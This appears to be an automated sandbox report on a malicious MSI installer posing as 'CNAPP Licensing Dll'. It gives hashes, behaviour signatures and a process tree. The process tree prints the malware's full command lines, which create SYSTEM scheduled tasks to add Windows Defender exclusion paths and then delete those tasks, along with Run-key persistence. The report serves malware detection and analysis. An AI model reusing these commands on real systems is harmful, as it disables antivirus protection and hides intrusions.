Analysis
- max time kernel
150s - max time network
151s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
28/07/2026, 09:50
Static task
static1
1 signatures
Behavioral task
behavioral1
Sample
Install_966r30003.msi
Resource
win10v2004-20260513-en
windows10-2004-x64
24 signatures
150 seconds
Behavioral task
behavioral2
Sample
Install_966r30003.msi
Resource
win11ltsc2024-20260709-en
windows11-ltsc_2024-x64
25 signatures
150 seconds
General
- Target Install_966r30003.msi
- Size 6.8MB
- Sample260728-ltwheatzds
- SHA256 e4ac3902d68ac3cb3950c265aa641117413470b55d3f8a88b78eebe282ffe5b9
- MD5 b9952028579af1bc8f332276c8803481
- SHA1 15fdf3ca442f186620620b9bef901dd2a1d43f65
- SHA512 1fa5240b47d1c44244a6cbaed88ac34138dcd713da18e386ee3822bc290f0f22a144269b61f2fc89e2c13a1a42dade3fdedd9efbe8c566b3f9f8366781ed8508
- SSDEEP 196608:7MGo4N62fIcA8YP3nqvLjXojUiTYR6a0ySCURiIt9Pi:H71QcVYYL0jUiw0y/
- TLSH T1FC7633D6BCDA2675D09BD7B05507A17E313E3FE03E269C5272E93A086E33B2740B6605
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Windows security bypass 2 TTPs 8 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86) = "0" reg.exe - Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000\Control Panel\International\Geo\Nation nMbNhq.exe - Executes dropped EXE 1 IoCs
pid Process 4468 nMbNhq.exe - Loads dropped DLL 2 IoCs
pid Process 4964 MsiExec.exe 4468 nMbNhq.exe - Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\qVqO05\\nMbNhq.exe\"" nMbNhq.exe - Badlisted process makes network request 5 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 24 4964 MsiExec.exe 26 4964 MsiExec.exe 28 4964 MsiExec.exe 35 4964 MsiExec.exe 46 4964 MsiExec.exe - Enumerates connected drives 3 TTPs 46 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\M: msiexec.exe - Indicator Removal: Clear Persistence 1 TTPs 5 IoCs
Clear artifacts associated with previously established persistence like scheduletasks on a host.
pid Process 392 cmd.exe 900 cmd.exe 3744 cmd.exe 4420 cmd.exe 820 cmd.exe - Drops file in System32 directory 9 IoCs
description ioc Process File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B039FEA45CB4CC4BBACFC013C7C55604_FA4759C1FDA1D5B56F6A969553761240 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_4136D3715888E22D65EBE484B233D81B MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_4136D3715888E22D65EBE484B233D81B MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0766DB9AB186806BB9A6B6802D3BA734 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\D077F3BA01F0F2293C650040B1B80D25_46BE3773AFCF70DA60E4725C8326A576 MsiExec.exe File created C:\Windows\System32\CodeIntegrity\SiPolicy.p7b nMbNhq.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0766DB9AB186806BB9A6B6802D3BA734 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\D077F3BA01F0F2293C650040B1B80D25_46BE3773AFCF70DA60E4725C8326A576 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B039FEA45CB4CC4BBACFC013C7C55604_FA4759C1FDA1D5B56F6A969553761240 MsiExec.exe - Drops file in Windows directory 9 IoCs
description ioc Process File opened for modification C:\Windows\Installer\e5870d6.msi msiexec.exe File created C:\Windows\Installer\inprogressinstallinfo.ipi msiexec.exe File created C:\Windows\Installer\e5870d8.msi msiexec.exe File created C:\Windows\Installer\e5870d6.msi msiexec.exe File opened for modification C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log msiexec.exe File opened for modification C:\Windows\Installer\ msiexec.exe File created C:\Windows\Installer\SourceHash{1A6C27A2-FA3D-F13A-46E4-B05FDEE281FB} msiexec.exe File opened for modification C:\Windows\Installer\MSI71FF.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI728C.tmp msiexec.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
pid Process 2852 msiexec.exe - Executes a command shell one-liner 1 TTPs 4 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 4608 cmd.exe 1524 cmd.exe 3964 cmd.exe 4964 cmd.exe - Checks SCSI registry key(s) 3 TTPs 5 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters vssvc.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr vssvc.exe Set value (data) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\PartitionTableCache = 0000000004000000ee0681d78f5363a20000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000c01200000000ffffffff000000002701010000080000ee0681d70000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d01200000000000020ed35000000ffffffff000000000700010000680900ee0681d7000000000000d012000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0ff350000000000000005000000ffffffff000000000700010000f8ff1aee0681d7000000000000f0ff350000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0ff3a0000000000000005000000ffffffff000000000700010000f87f1dee0681d7000000000000f0ff3a00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 vssvc.exe Set value (data) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\SnapshotDataCache = 534e41505041525401000000700000008ec7416a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 vssvc.exe - Modifies data under HKEY_USERS 9 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ MsiExec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" MsiExec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" MsiExec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" MsiExec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing MsiExec.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27 msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28 msiexec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" MsiExec.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E msiexec.exe - Modifies registry class 22 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\2A72C6A1D3AFA31F644E0BF5ED2E18BF\UuueatYAD msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2A72C6A1D3AFA31F644E0BF5ED2E18BF\ProductName = "CNAPP Licensing Dll" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2A72C6A1D3AFA31F644E0BF5ED2E18BF\PackageCode = "1DC313EFE86A93046BAE5FB74C3E3DB3" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2A72C6A1D3AFA31F644E0BF5ED2E18BF\Version = "84017285" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2A72C6A1D3AFA31F644E0BF5ED2E18BF\SourceList\PackageName = "Install_966r30003.msi" msiexec.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2A72C6A1D3AFA31F644E0BF5ED2E18BF\Clients = 3a0000000000 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\41FC6B43184718F22B055265DD07D941\2A72C6A1D3AFA31F644E0BF5ED2E18BF msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2A72C6A1D3AFA31F644E0BF5ED2E18BF\SourceList\Net msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2A72C6A1D3AFA31F644E0BF5ED2E18BF\SourceList\Media msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2A72C6A1D3AFA31F644E0BF5ED2E18BF\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\41FC6B43184718F22B055265DD07D941 msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\2A72C6A1D3AFA31F644E0BF5ED2E18BF msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2A72C6A1D3AFA31F644E0BF5ED2E18BF msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2A72C6A1D3AFA31F644E0BF5ED2E18BF\Assignment = "1" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2A72C6A1D3AFA31F644E0BF5ED2E18BF\AuthorizedLUAApp = "0" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2A72C6A1D3AFA31F644E0BF5ED2E18BF\SourceList\Media\1 = ";" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2A72C6A1D3AFA31F644E0BF5ED2E18BF\Language = "1033" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2A72C6A1D3AFA31F644E0BF5ED2E18BF\AdvertiseFlags = "388" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2A72C6A1D3AFA31F644E0BF5ED2E18BF\InstanceType = "0" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2A72C6A1D3AFA31F644E0BF5ED2E18BF\DeploymentFlags = "3" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2A72C6A1D3AFA31F644E0BF5ED2E18BF\SourceList msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2A72C6A1D3AFA31F644E0BF5ED2E18BF\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\" msiexec.exe - Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 3872 schtasks.exe 5036 schtasks.exe 2336 schtasks.exe 652 schtasks.exe 1600 schtasks.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 5048 msiexec.exe 5048 msiexec.exe 4964 MsiExec.exe 4964 MsiExec.exe 4964 MsiExec.exe 4964 MsiExec.exe 4964 MsiExec.exe 4964 MsiExec.exe 4964 MsiExec.exe 4964 MsiExec.exe 4964 MsiExec.exe 4964 MsiExec.exe 4964 MsiExec.exe 4964 MsiExec.exe 4964 MsiExec.exe 4964 MsiExec.exe 4964 MsiExec.exe 4964 MsiExec.exe 4964 MsiExec.exe 4964 MsiExec.exe 4964 MsiExec.exe 4964 MsiExec.exe 4964 MsiExec.exe 4964 MsiExec.exe 4964 MsiExec.exe 4964 MsiExec.exe 4964 MsiExec.exe 4964 MsiExec.exe 4964 MsiExec.exe 4964 MsiExec.exe 4964 MsiExec.exe 4964 MsiExec.exe 4964 MsiExec.exe 4964 MsiExec.exe 4964 MsiExec.exe 4964 MsiExec.exe 4964 MsiExec.exe 4964 MsiExec.exe 4468 nMbNhq.exe 4468 nMbNhq.exe 4468 nMbNhq.exe 4468 nMbNhq.exe 4468 nMbNhq.exe 4468 nMbNhq.exe 4468 nMbNhq.exe 4468 nMbNhq.exe 4468 nMbNhq.exe 4468 nMbNhq.exe 4468 nMbNhq.exe 4468 nMbNhq.exe 4468 nMbNhq.exe 4468 nMbNhq.exe 4468 nMbNhq.exe 4468 nMbNhq.exe 4468 nMbNhq.exe 4468 nMbNhq.exe 4468 nMbNhq.exe 4468 nMbNhq.exe 4468 nMbNhq.exe 4468 nMbNhq.exe 4468 nMbNhq.exe 4468 nMbNhq.exe 4468 nMbNhq.exe 4468 nMbNhq.exe - Suspicious behavior: LoadsDriver 3 IoCs
pid Process 668 Process not Found 668 Process not Found 668 Process not Found - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 2852 msiexec.exe Token: SeIncreaseQuotaPrivilege 2852 msiexec.exe Token: SeSecurityPrivilege 5048 msiexec.exe Token: SeCreateTokenPrivilege 2852 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 2852 msiexec.exe Token: SeLockMemoryPrivilege 2852 msiexec.exe Token: SeIncreaseQuotaPrivilege 2852 msiexec.exe Token: SeMachineAccountPrivilege 2852 msiexec.exe Token: SeTcbPrivilege 2852 msiexec.exe Token: SeSecurityPrivilege 2852 msiexec.exe Token: SeTakeOwnershipPrivilege 2852 msiexec.exe Token: SeLoadDriverPrivilege 2852 msiexec.exe Token: SeSystemProfilePrivilege 2852 msiexec.exe Token: SeSystemtimePrivilege 2852 msiexec.exe Token: SeProfSingleProcessPrivilege 2852 msiexec.exe Token: SeIncBasePriorityPrivilege 2852 msiexec.exe Token: SeCreatePagefilePrivilege 2852 msiexec.exe Token: SeCreatePermanentPrivilege 2852 msiexec.exe Token: SeBackupPrivilege 2852 msiexec.exe Token: SeRestorePrivilege 2852 msiexec.exe Token: SeShutdownPrivilege 2852 msiexec.exe Token: SeDebugPrivilege 2852 msiexec.exe Token: SeAuditPrivilege 2852 msiexec.exe Token: SeSystemEnvironmentPrivilege 2852 msiexec.exe Token: SeChangeNotifyPrivilege 2852 msiexec.exe Token: SeRemoteShutdownPrivilege 2852 msiexec.exe Token: SeUndockPrivilege 2852 msiexec.exe Token: SeSyncAgentPrivilege 2852 msiexec.exe Token: SeEnableDelegationPrivilege 2852 msiexec.exe Token: SeManageVolumePrivilege 2852 msiexec.exe Token: SeImpersonatePrivilege 2852 msiexec.exe Token: SeCreateGlobalPrivilege 2852 msiexec.exe Token: SeBackupPrivilege 4880 vssvc.exe Token: SeRestorePrivilege 4880 vssvc.exe Token: SeAuditPrivilege 4880 vssvc.exe Token: SeBackupPrivilege 5048 msiexec.exe Token: SeRestorePrivilege 5048 msiexec.exe Token: SeRestorePrivilege 5048 msiexec.exe Token: SeTakeOwnershipPrivilege 5048 msiexec.exe Token: SeRestorePrivilege 5048 msiexec.exe Token: SeTakeOwnershipPrivilege 5048 msiexec.exe Token: SeRestorePrivilege 5048 msiexec.exe Token: SeTakeOwnershipPrivilege 5048 msiexec.exe Token: SeBackupPrivilege 3448 srtasks.exe Token: SeRestorePrivilege 3448 srtasks.exe Token: SeSecurityPrivilege 3448 srtasks.exe Token: SeTakeOwnershipPrivilege 3448 srtasks.exe Token: SeBackupPrivilege 3448 srtasks.exe Token: SeRestorePrivilege 3448 srtasks.exe Token: SeSecurityPrivilege 3448 srtasks.exe Token: SeTakeOwnershipPrivilege 3448 srtasks.exe Token: SeRestorePrivilege 5048 msiexec.exe Token: SeTakeOwnershipPrivilege 5048 msiexec.exe Token: SeRestorePrivilege 5048 msiexec.exe Token: SeTakeOwnershipPrivilege 5048 msiexec.exe Token: SeRestorePrivilege 5048 msiexec.exe Token: SeTakeOwnershipPrivilege 5048 msiexec.exe Token: SeRestorePrivilege 5048 msiexec.exe Token: SeTakeOwnershipPrivilege 5048 msiexec.exe Token: SeRestorePrivilege 5048 msiexec.exe Token: SeTakeOwnershipPrivilege 5048 msiexec.exe Token: SeRestorePrivilege 5048 msiexec.exe Token: SeTakeOwnershipPrivilege 5048 msiexec.exe Token: SeRestorePrivilege 5048 msiexec.exe - Suspicious use of FindShellTrayWindow 2 IoCs
pid Process 2852 msiexec.exe 2852 msiexec.exe - Suspicious use of WriteProcessMemory 26 IoCs
description pid Process procid_target PID 5048 wrote to memory of 3448 5048 msiexec.exe 100 PID 5048 wrote to memory of 4964 5048 msiexec.exe 102 PID 4468 wrote to memory of 392 4468 nMbNhq.exe 110 PID 4468 wrote to memory of 900 4468 nMbNhq.exe 113 PID 392 wrote to memory of 3872 392 cmd.exe 116 PID 900 wrote to memory of 5036 900 cmd.exe 117 PID 392 wrote to memory of 4476 392 cmd.exe 118 PID 392 wrote to memory of 848 392 cmd.exe 120 PID 900 wrote to memory of 512 900 cmd.exe 121 PID 900 wrote to memory of 4784 900 cmd.exe 123 PID 4468 wrote to memory of 3744 4468 nMbNhq.exe 126 PID 3744 wrote to memory of 2336 3744 cmd.exe 128 PID 3744 wrote to memory of 4224 3744 cmd.exe 129 PID 3964 wrote to memory of 4320 3964 cmd.exe 130 PID 3744 wrote to memory of 1692 3744 cmd.exe 132 PID 4964 wrote to memory of 2908 4964 cmd.exe 134 PID 4468 wrote to memory of 4420 4468 nMbNhq.exe 135 PID 4420 wrote to memory of 652 4420 cmd.exe 137 PID 4420 wrote to memory of 4648 4420 cmd.exe 138 PID 4420 wrote to memory of 1684 4420 cmd.exe 141 PID 4608 wrote to memory of 2688 4608 cmd.exe 142 PID 4468 wrote to memory of 820 4468 nMbNhq.exe 143 PID 820 wrote to memory of 1600 820 cmd.exe 145 PID 820 wrote to memory of 2392 820 cmd.exe 146 PID 820 wrote to memory of 3224 820 cmd.exe 149 PID 1524 wrote to memory of 4504 1524 cmd.exe 150 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Windows\system32\msiexec.exemsiexec.exe /I C:\Users\Admin\AppData\Local\Temp\Install_966r30003.msi1⤵
- Enumerates connected drives
- Event Triggered Execution: Installer Packages
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:2852
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Enumerates connected drives
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5048 -
C:\Windows\system32\srtasks.exeC:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:22⤵
- Suspicious use of AdjustPrivilegeToken
PID:3448
-
-
C:\Windows\System32\MsiExec.exeC:\Windows\System32\MsiExec.exe -Embedding 9CD43955FBACA21C7B88438E77DF7881 E Global\MSI00002⤵
- Loads dropped DLL
- Badlisted process makes network request
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:4964
-
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Checks SCSI registry key(s)
- Suspicious use of AdjustPrivilegeToken
PID:4880
-
C:\Users\Public\qVqO05\nMbNhq.exeC:\Users\Public\qVqO05\nMbNhq.exe1⤵
- Checks computer location settings
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4468 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\qVqO05\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:392 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\qVqO05\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:3872
-
-
C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:4476
-
-
C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:848
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:900 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:5036
-
-
C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:512
-
-
C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:4784
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:3744 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:2336
-
-
C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:4224
-
-
C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:1692
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:4420 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:652
-
-
C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:4648
-
-
C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:1684
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:820 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"3⤵
